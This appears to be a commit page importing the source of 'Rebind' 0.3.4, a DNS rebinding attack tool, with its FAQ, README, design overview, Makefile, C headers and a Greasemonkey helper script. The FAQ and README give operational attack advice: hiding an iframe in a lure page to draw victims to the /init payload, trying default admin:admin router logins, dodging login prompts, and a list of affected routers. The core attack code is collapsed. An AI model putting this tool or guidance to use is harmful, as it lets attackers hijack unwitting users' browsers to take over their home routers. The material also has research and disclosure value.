Commit c7a4c8b1 authored by Devon Kearns's avatar Devon Kearns

Imported Upstream version 0.3.4

parents
// ==UserScript==
// @name ActionTec POST2GET
// @namespace http://gremlin.googlecode.com
// @description Converts form POSTs into form GETs
// @include *
// ==/UserScript==
for(var i=0; i<document.forms.length; i++)
{
document.forms[i].method = "GET";
}
#!/bin/bash
#Script to check header files for unused #define's.
IFS=$'\n'
DIR=../src
cd $DIR
for DEFINE in $(grep -n ^#define *.h); do
NAME=$(echo $DEFINE | awk '{print $2}' | sed -e 's/(.*//')
if [ "$(grep $NAME *.c)" == "" ] ;then
FILE=$(echo $DEFINE | cut -d':' -f1)
LINE=$(echo $DEFINE | cut -d':' -f2)
echo "$DIR/$FILE line $LINE: '$NAME' defined but not used!"
fi
done
#!/usr/bin/env python
#Converts HTML documents into #define C statements
from sys import argv
FILEI = argv[1]
FILEO = argv[2]
DNAME = argv[3]
DNAME_SIZE = DNAME + "_SIZE"
data = open(FILEI,"r").read()
data_len = len(data)
data = data.replace("\\s","\\\\s")
data = data.replace("\\n","\\\\n")
data = data.replace("\\r","\\\\r")
data = data.replace("\n","\\n\\\n")
data = data.replace('"','\\"')
fp = open(FILEO,"a")
fp.write('#define %s %s\n' % (DNAME_SIZE,data_len))
fp.write('#define %s "%s"\n' % (DNAME,data))
fp.write('\n\n')
fp.close()
#!/usr/bin/env python
#Converts binary files into #define C statements
from sys import argv
FILEI = argv[1]
FILEO = argv[2]
DNAME = argv[3]
DNAME_SIZE = DNAME + "_SIZE"
cdata = ''
data = open(FILEI).read()
data_len = len(data)
for c in data:
cdata = "%s%s" % (cdata,hex(ord(c)).replace('0x','\\x'))
fp = open(FILEO,"a")
fp.write('#define %s %s\n' % (DNAME_SIZE,data_len))
fp.write('#define %s "%s"\n' % (DNAME,cdata))
fp.write('\n\n')
fp.close()
1) How do I configure Rebind to handle DNS requests for my domain?
Actually, you need to configure your domain to use Rebind as your primary DNS server. This is done
in two steps: first, you need to register the machine that you intend to run Rebind from as a nameserver,
then you must configure your domain to use that nameserver. Most registrars will let you perform both
of these actions, although some don't and many make it difficult to find these settings, so you may
have to search around a little.
Go to the registrar where you registered your domain name (Host-Unlimited, GoDaddy, Yahoo, etc.)
and first register two nameservers. You will want to register two because most registrars will require
your domain to have at least two nameservers, and you want Rebind to handle all DNS lookups. Name the
nameservers ns1 and ns2 and set their IP addresses to that of the machine from where you intend to run
Rebind.
Once you have registered your nameservers, go do your domain DNS settings and set these nameservers as
the authoritative nameservers for your domain. If for example your domain is 'mydomain.com', you will
enter ns1.mydomain.com and ns2.mydomain.com. Now all DNS traffic will be directed to the machine where
you intend to run Rebind, which will allow Rebind to accept and handle all DNS requests for your domain.
2) What is the best registrar to use with Rebind?
Typically any registrar should work, but you will need one that allows you to register nameservers and
configure your domain's DNS settings. Most do, but some don't. Many make it difficult to register a nameserver.
For example, DreamHost does not appear to allow clients to register their own nameservers. GoDaddy does, but
the interface for doing so is hidden under several layers of ad-riddled pages.
The easiest registar that I have found for creating custom DNS configurations as are needed by Rebind is
Host-Unlimited (www.host-unlimited.com). Full disclosure: yes, I know the founder of HU. No, I don't make any
money from HU. I just find them easy to use.
3) Where does Rebind store its log files?
All data is logged to a SQLite database (/tmp/rebind.db). This database is deleted when Rebind exits (as well as
when it starts), but if you wish to save a copy of it you can enter the 'save' command from the Rebind console
interface. This will save a copy of the database to the current working directory under the name 'rebind.db' unless
you specify an alternate name (i.e., 'save backup.db').
4) How can I prevent others from accessing Rebind's Web proxy?
Configure your firewall to only allow your IP address to access TCP port 664. Although Rebind uses iptables itself,
it will co-exist peacefully with other iptables rules in that it will not modify or remove any iptables entries
that it did not create.
5) Does Rebind feature a whitelist/blacklist for targeting only specific IP addresses?
No. Configure your firewall to only allow your target IP addresses to access the attack port (port 80 by default).
Although Rebind uses iptables itself, it will co-exist peacefully with other iptables rules in that it will not
modify or remove any iptables entries that it did not create.
6) Does Rebind run on Windows/Mac/BSD?
No. Rebind has been built for and tested on Linux only, specifically, the Ubuntu distribution. It would likely not
be difficult to port to BSD systems, but the firewall code will need to be changed to work with BSD's firewall as
it currently only supports iptables.
Windows? What's Windows? Seriously though, no. Porting to Windows would probably be more difficult than it's worth.
But if you really want to port it to Windows, you're more than welcome to have a go at it.
7) I want to re-compile Rebind. What do I need?
You'll need a standard C development environment (gcc, glibc, binutils, etc). Rebind also requires the sqlite3,
termcap and readline libraries, but these are included with the Rebind source. If you have other versions of these
libraries already installed on your system and wish to compile against them instead, edit the Makefile to exclude
the local build directory when looking for include headers and libraries.
8) Does Rebind run on 64-bit systems?
Yes.
9) Does Rebind support IPv6?
No.
10) The attack page in Rebind is just a blank page. How do I add content to Rebind's default attack page?
You don't. Well, you can (just edit the www/payload.html page in the source), but you will have to re-compile because
all of the images and HTML/JS content are built in with the Rebind binary. Rebind was not built with the intention
of making it pretty - it was built to attack things.
The best way to deploy Rebind in a real-world scenario is to add a hidden iframe inside of another, more interesting
page. Point the iframe src to the Rebind /init page.
11) How do I get people to browse to Rebind?
If you need to ask that question, you probably shouldn't be using this tool. I'll give you a hint though: Google Wave.
12) I'm directing clients to the index page of Rebind's Web server, but they don't get any JavaScript back and it doesn't rebind my domain! What's wrong?
There is no index page. You need to direct your clients to http://<your domain>/init.
13) Rebind displays the router's Basic Authentication prompt to the target user! What's going on?
Rebind uses the JavaScript XMLHttpRequest in the client's browser to interact with the target router. While the
XMLHttpRequest object does allow you to provide Basic Authentication credentials for the requests, if the credentials
are wrong then the browser will prompt the user with the standard Basic Authentication login box. This is the default
browser behavior. Further, when the initial DNS rebinding takes place, a Web request will be sent to the router;
thus, you must supply Rebind with the credentials you wish to use before the client browses to your domain (the
default is admin:admin). If you guess the credentials wrong, then they will get the pop-up prompt.
However, there are ways to help mitigate this problem. Most routers will respond with a 404 error instead of a 401
if you request a page that does not exist. By default Rebind makes a request for the router's index page during the
DNS rebinding process, but this is configurable at runtime using the -r switch, or from the Rebind console using the
'config path' command. If you instead specify a page that you know will not exist on the router (such as '/foo.bar'),
then the rebinding attack will execute successfully without a Basic Authentication prompt because the router will return
a 404 page instead of a 401 response. Once you see the client appear in your list of active clients, you can request that
same non-existent page ('/foo.bar' in this example) and examine the 404 headers and page content. If, for example, the
404 page looks like that of a Linksys router, and you know that Linksys routers use Basic Authentication, then you can
decide if you want to attempt an exploit against the router, attempt to log in with default credentials and risk popping
the authentication prompt in the client browser, or wait for another target to come along.
Note that any Basic Authentication credentials that you send through Rebind's Web proxy will override Rebind's default
Basic Authentication credentials.
14) When the target client is using a Firefox browser and the target router is an ActionTec MI424-WR, I keep getting '501 Not Implemented' errors when I try to log in. What's going on?
The login is done via a POST request. The MI424-WR expects the Content-Type of the POST request to be 'application/x-www-form-urlencoded'.
However, Firefox appends ';charset=utf-8' to all XMLHttpRequest Content-Type headers, making the actual header read
'application/x-www-form-urlencoded; charset=utf-8'. Although this is a valid HTTP header, the router is not expecting it and assumes
that the wrong content type has been used.
However, although the login and other form submissions for the the MI424-WR are performed via POST requests, they can also be done
via GET requests. Since GET requests do not require a Content-Type header, using a GET request alleviates this issue. In order to
make the process of converting POST requests into GET requests easier, a GreaseMonkey script is included with the Rebind release.
You (the attacker) need to activate this GreaseMonkey script in your browser. Once it is activated, it will automatically convert
all POST forms on the page to GET forms, allowing you to log in and re-configure router settings without the 501 error.
15) Why don't images display properly when using the Rebind HTTP proxy?
Most router pages are fairly simple pages, but contain many images which increase bandwidth and load time. Additionally, the
XmlHttpRequest object used by the client-side JavaScript is designed for retrieving text-based documents, not binary data. As such,
Rebind filters out requests for files with common image file extensions (.jpg, .gif, .png, etc).
DESCRIPTION
Rebind is a tool that implements the multiple A record DNS rebinding attack. Although this tool
was originally written to target home routers, it can be used to target any public (non RFC1918)
IP address.
Rebind provides an external attacker access to a target router's internal Web interface. This
tool works on routers that implement the weak end system model in their IP stack, have specifically
configured firewall rules, and who bind their Web service to the router's WAN interface. Note that
remote administration does not need to be enabled for this attack to work. All that is required is
that a user inside the target network surf to a Web site that is controlled, or has been compromised,
by the attacker. See docs/whitepaper.pdf for a detailed description of the attack.
REQUIREMENTS
In order to use Rebind, you must have a registered domain name. You must also register your
attack machine as a nameserver for your domain; this can be done through your registrar. See
the docs/FAQ file for more information.
Rebind is only supported on the Linux platform.
Rebind must be run as root, and you must have iptables installed and listed in $PATH.
USAGE
The only required command line options for Rebind are the -i and -d options. These specify the
local interface name and your registered domain name respectively. Example:
# ./rebind -i eth0 -d attacker.com
Rebind provides a console shell for viewing and changing configuration settings. Type 'help'
inside the console for a list of commands. For help with a particular command, type '<command> ?'.
Most commands take no arguments and serve only to display status information. However, some commands
do provide the ability to add/edit configuration settings on the fly:
> config [key] [value]
The config command can be used to display or edit the payload configuration, including the
default user name and password to use for basic authentication requests, the default path
to request during the rebinding process, the callback interval and a cookie value to be used
for the proxied requests. Note that because these are payload configuration values, they will
not take effect for existing active clients, as those clients have already recieved the payload.
> headers [add|del] [header] [value]
The headers command can be used to display or edit specific HTTP header values that will be
appended to all HTTP requests sent through the Rebind HTTP proxy server. Note that although the
client-side JavaScript will attempt to send any HTTP headers that are specified, the XmlHttpRequest
object restricts certian headers, such as the Host header, from being sent. If a restricted header
is encountered, it will be skipped by the JavaScript code and will not be sent with the final request.
> save [file]
The save command saves a copy of Rebind's current SQLite database. This database contains all
configuration information, logs, errors, requests and responses. By default it is saved to 'rebind.db'
in the current working directory. However, an alternate file name may be specified, such as
'save backup.db'. Note that Rebind's database is destroyed upon exit, so if you wish to save this
data, you must do so via the save command.
> targets [add|del] [ip]
The targets command can be used to display or edit explicit target IP addresses. If target IPs
are listed here, clients will be rebound to those IP addresses instead of the public IP address
of their gateway router. This is the same as the -t command line argument, except IP lists are
not supported; you must execute one 'targets' command for each IP address that you wish to add
to the list.
To use the Rebind proxy, configure your browser settings to use <rebind ip>:664 as your HTTP proxy.
To rebind client Web browsers, get them to browse to http://<your domain>/init.
KNOWN AFFECTED ROUTERS
ActionTec MI-424WR
ActionTec GT704-WG
ActionTec GT701-WG
Asus WL-520gU
Belkin F5D7230-4 v.2000
ClearAccess AG-10
D-Link DIR-300
D-Link DIR-320
DD-WRT
Dell TrueMobile 2300
Linksys BEFSR41
Linksys BEFW11S4
Linksys WRT-160N
Linksys WRT54G3G-ST
Linksys WRT54Gv3
Linksys WRT54GL
OpenWRT
PFSense
Thomson ST585v6
TESTED BROWSERS
Rebind has been successfully tested against the following browsers:
IE6 Windows XP SP2
IE7 Windows XP SP3
IE8 Windows XP SP3
IE8 Windows 7
FF 3.0.15 Windows XP SP3
FF 3.0.17 Ubuntu Linux 9.04
FF 3.5.6 Ubuntu Linux 9.10
FF 3.5.7 Windows XP SP3
FF 3.6 Windows XP SP3
FF 3.6 Windows 7
FF 3.6 OSX 10.6.2
Chrome 4.1 Windows XP SP3
Opera 10.10 Windows XP SP3
Opera 10.54 Windows XP SP3
Safari 4.0.4 Windows XP SP3
Safari 4.0.4 OSX 10.6.2
Note that the above browsers are client browsers, i.e., the browser used by the victim. Only Firefox has been
tested to work with Rebind's Web-based interface, and IE is known to not display the interface properly. So if
you are using Rebind, be sure to use Firefox or a similar browser.
INSTALLATION
The ../bin/ directory contains statically compiled 32-bit and 64-bit Linux binaries. If you wish to compile
from source, run:
$ make
$ make install
This will build Rebind and its dependencies and copy the resulting binary to the ../bin/ directory.
LICENSE
The MIT License
Copyright (c) 2010 Craig Heffner
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
CC=gcc
CFLAGS=-g -O -W -Wuninitialized -Wall -Wextra -Wshadow -static
LIBS=-L ./readline -L ./termcap
INCS=-I .
HTML=html.h
PNG=png.h
HTML_PY=../dev/htmltoc.py
PNG_PY=../dev/pngtoc.py
TARGET=rebind
$(TARGET): sqlite.o termcap.a readline.a common.o sql.o socklib.o iptables.o dns.o fifo.o filter.o attack.o callback.o proxy.o config.o console.o
$(CC) $(TARGET).c -o $(TARGET) *.o -ldl -lpthread -lreadline -ltermcap $(CFLAGS) $(LIBS) $(INCS)
sql.o:
$(CC) -c sql.c $(CFLAGS) $(LIBS) $(INCS)
dns.o:
$(CC) -c dns.c $(CFLAGS) $(LIBS) $(INCS)
attack.o: $(HTML)
$(CC) -c attack.c $(CFLAGS) $(LIBS) $(INCS)
callback.o: $(HTML)
$(CC) -c callback.c $(CFLAGS) $(LIBS) $(INCS)
proxy.o: $(HTML) $(PNG)
$(CC) -c proxy.c $(CFLAGS) $(LIBS) $(INCS)
socklib.o:
$(CC) -c socklib.c $(CFLAGS) $(LIBS) $(INCS)
iptables.o:
$(CC) -c iptables.c $(CFLAGS) $(LIBS) $(INCS)
fifo.o:
$(CC) -c fifo.c $(CFLAGS) $(LIBS) $(INCS)
filter.o:
$(CC) -c filter.c $(CFLAGS) $(LIBS) $(INCS)
config.o:
$(CC) -c config.c $(CFLAGS) $(LIBS) $(INCS)
console.o:
$(CC) -c console.c $(CFLAGS) $(LIBS) $(INCS)
sqlite.o:
$(CC) -c sqlite3/sqlite3.c -o sqlite.o
common.o:
$(CC) -c common.c $(CFLAGS) $(LIBS) $(INCS)
termcap.a:
(cd termcap && (test -e libtermcap.a || (./configure && make)))
readline.a:
(cd readline && (test -e libreadline.a || (./configure && make)))
$(HTML):
($(HTML_PY) www/index.html $(HTML) PROXY_HTML) && \
($(HTML_PY) www/payload.html $(HTML) PAYLOAD) && \
($(HTML_PY) www/crossdomain.html $(HTML) POST_HTML)
$(PNG):
($(PNG_PY) www/header.png $(PNG) HEADER_PNG) && \
($(PNG_PY) www/header_bg.png $(PNG) HEADER_BG_PNG) && \
($(PNG_PY) www/footer_bg.png $(PNG) FOOTER_BG_PNG) && \
($(PNG_PY) www/body_bg.png $(PNG) BODY_BG_PNG)
install:
cp $(TARGET) ../bin/$(TARGET)
cleanheaders:
rm -f $(HTML) $(PNG)
clean: cleanheaders
rm -f *~
ls -1 *.o | grep -v sqlite | xargs -i rm -f {}
rm -f $(TARGET)
cleanall: clean
rm -f *.o
(cd termcap && make clean)
(cd readline && make clean)
INSTALLATION
The ../bin/ directory contains statically compiled 32-bit and 64-bit Linux binaries. If you wish to compile
from source, run:
$ make
$ make install
This will build Rebind and its dependencies and copy the resulting binary to the ../bin/ directory.
GENERAL DESCRIPTION AND OVERVIEW
Rebind is a tool used to implement the "multiple A record" DNS rebinding attack. It can be used to rebind a
given domain name to any public IP address. This can be used to proxy attacks through a client's browser
to publicly accessible Web sites, as well as to the internal Web interface of many home routers.
In order to achieve this, Rebind provides several different services/features:
1) A DNS server that handles all DNS lookups for the given domain, as specified on the command line.
The DNS server code can be found in dns.c.
2) An attack Web server that is used to identify the requesting client's public IP address (unless
an explicit target list was specified on the command line) then redirect the client to a randomly
generated sub-domain of the given domain. It then updates the DNS server's database with the random
sub-domain and the client's public IP address. It also provides the requesting client the necessary
JavaScript code to turn the client's browser into an HTTP proxy, and tells the firewall (iptables)
when to block what IP addresses. The attack Web server code can be found in attack.c.
3) JavaScript code that is returned to the client's Web browser that is used to complete the rebinding
attack and subsequently proxy the attacker's HTTP requests to the rebound IP address. This JavaScript
code can be found in www/payload.html.
4) A callback Web server that is used to handle callbacks from the JavaScript code. This will tell the
JavaScript code what requests it needs to make to the rebound (aka, target) IP address, and will handle
the data returned from that request. The callback Web server code can be found in callback.c.
5) An HTTP proxy server used by the attacker's Web browser. This proxy server provides a simple Web interface
which displays all active clients, and allows the attacker to browse the Web sites hosted on the target IP
address(es) via those client's browsers. The proxy server code can be found in proxy.c. The Web interface
code can be found in www/index.html.
6) A configurable firewall so that clients can be blocked at the attack port (port 80 by default) at the
appropriate time. Rebind does not provide its own firewall, but merely interfaces with iptables. This code
can be found in iptables.c.
7) A command-line interface to view/change the status of Rebind. This takes the form of a custom command shell
with tab-completion, command history, etc. This code can be found in console.c.
Other files not listed above serve as support code to these primary functions, and consist mainly of function wrappers
for things like IPC, database queries and socket transactions.
LICENSE
The MIT License
Copyright (c) 2010 Craig Heffner
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
This diff is collapsed.
#define ATTACK_DONE 1
#define ATTACK_CONTINUE 0
#define INIT_REQUEST "/init"
#define INIT_REQUEST_SIZE 5
#define RAND_HOST_LEN 5
#define ASCII_MIN 97
#define ASCII_MAX 25
#define CHECK_CLIENT_INTERVAL 5
#define DEFAULT_PATH "/"
#define DEFAULT_USER "admin"
#define DEFAULT_PASS "admin"
#define DEFAULT_INTERVAL "2000"
#define DEFAULT_CALLBACK_PORT "81"
#define DEFAULT_ATTACK_PORT "80"
#define USER_PLACEHOLDER "USER"
#define PASS_PLACEHOLDER "PASS"
#define PATH_PLACEHOLDER "PATH"
#define PORT_PLACEHOLDER "PORT"
#define TIME_PLACEHOLDER "INTERVAL"
#define COOKIE_PLACEHOLDER "COOKIE"
int attack_web_server();
int process_client_request(struct sockaddr_in clientaddr,int csock,char *buffer,int buflen);
int send_payload(int csock);
char *configure_payload();
void block_client(char *client_ip_address);
void insert_client(char *ip);
void cleanup_iptables(int sig);
This diff is collapsed.
#define POST_PAGE "/post"
#define POST_PAGE_SIZE 5
#define POLL_PAGE "/poll"
#define POLL_PAGE_SIZE 5
#define HTTP_OK "HTTP/1.1 200 OK"
#define RESPONSE_OK "OK"
#define RESPONSE_OK_SIZE 2
#define URL_ID "i="
#define URL_ID_SIZE 2
#define URL_DATA "&d="
#define URL_DATA_SIZE 3
#define BASE16_TO_10(x) (((x) >= '0' && (x) <= '9') ? ((x) - '0') : (toupper((x)) - 'A' + 10))
int callback_server();
int process_request(char *buffer, int data_len, int csock, struct sockaddr_in *clientaddr);
void write_to_db(int id, char *client_ip_address, char *data, int data_len);
void update_client_list(char *ip);
void send_poll_response(int csock, char *client_ip_address);
char *get_user_defined_headers();
char *url_decode(char *url, int *url_len);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sql.h"
#include "common.h"
/* Replace first instance of replace in buff with replace_with */
char *str_replace(char *buff, char *replace, char *replace_with)
{
char *ptr = NULL, *tmp = NULL;
int bsize = 0, psize = 0, msize = 0, rsize = 0, wsize = 0;
if(!buff || !replace){
return buff;
}
rsize = strlen(replace);
if(replace_with){
wsize = strlen(replace_with);
}
ptr = strstr(buff,replace);
if(ptr){
memset(ptr,0,rsize);
ptr += rsize;
ptr = strdup(ptr);
bsize = strlen(buff);
psize = strlen(ptr);
msize = bsize + psize + wsize;
tmp = buff;
buff = realloc(buff,msize+1);
if(!buff){
perror("Malloc failure");
if(tmp) free(tmp);
return NULL;
}
memset(buff+bsize,0,(msize-bsize)+1);
strncat(buff,replace_with,wsize);
strncat(buff,ptr,psize);
if(ptr) free(ptr);
}
return buff;
}
/* Simple function to log messages and errors to the database */
void glog(char *message, int type)
{
char *query = sqlite3_mprintf("INSERT INTO %s (message,priority) VALUES (%Q,'%d')",LOG_TABLE,message,type);
int response_size = 0, err_code = 0;
sql_exec(query,&response_size,&err_code);